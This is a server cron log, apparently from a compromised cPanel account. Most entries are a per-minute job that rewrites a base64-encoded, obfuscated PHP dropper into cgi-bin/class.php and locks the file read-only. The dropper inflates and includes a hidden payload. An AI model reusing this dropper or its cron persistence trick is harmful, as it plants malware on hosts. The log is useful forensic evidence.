Sep  8 23:04:01 server CROND[21516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:05:01 server CROND[21902]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 23:05:01 server CROND[21904]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  8 23:05:01 server CROND[21905]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 23:05:01 server CROND[21906]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:05:01 server CROND[21910]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:05:01 server CROND[21912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:05:01 server CROND[21908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:05:01 server CROND[21909]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 23:05:01 server CROND[21907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:06:01 server CROND[22978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:06:01 server CROND[22977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:06:01 server CROND[22979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:07:01 server CROND[23389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:07:01 server CROND[23388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:07:01 server CROND[23390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:08:01 server CROND[23767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:08:01 server CROND[23766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:08:01 server CROND[23768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:09:01 server CROND[24160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:09:01 server CROND[24161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:09:01 server CROND[24162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:09:01 server CROND[24163]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 23:10:01 server CROND[24552]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 23:10:01 server CROND[24553]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 23:10:01 server CROND[24555]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:10:01 server CROND[24561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:10:01 server CROND[24562]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:10:01 server CROND[24563]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 23:10:01 server CROND[24564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:10:01 server CROND[24565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:11:01 server CROND[25496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:11:01 server CROND[25497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:11:01 server CROND[25498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:12:01 server CROND[25883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:12:01 server CROND[25884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:12:01 server CROND[25885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:12:01 server CROND[25886]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 23:13:01 server CROND[26278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:13:01 server CROND[26279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:13:01 server CROND[26280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:14:01 server CROND[26663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:14:01 server CROND[26665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:14:01 server CROND[26664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 23:15:01 server CROND[27047]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 23:15:01 server CROND[27049]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 23:15:01 server CROND[27048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 23:15:01 server CROND[27055]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 23:15:01 server CROND[27059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 23:15:01 server CROND[27058]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 23:15:01 server CROND[27057]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 23:15:01 server CROND[27061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wE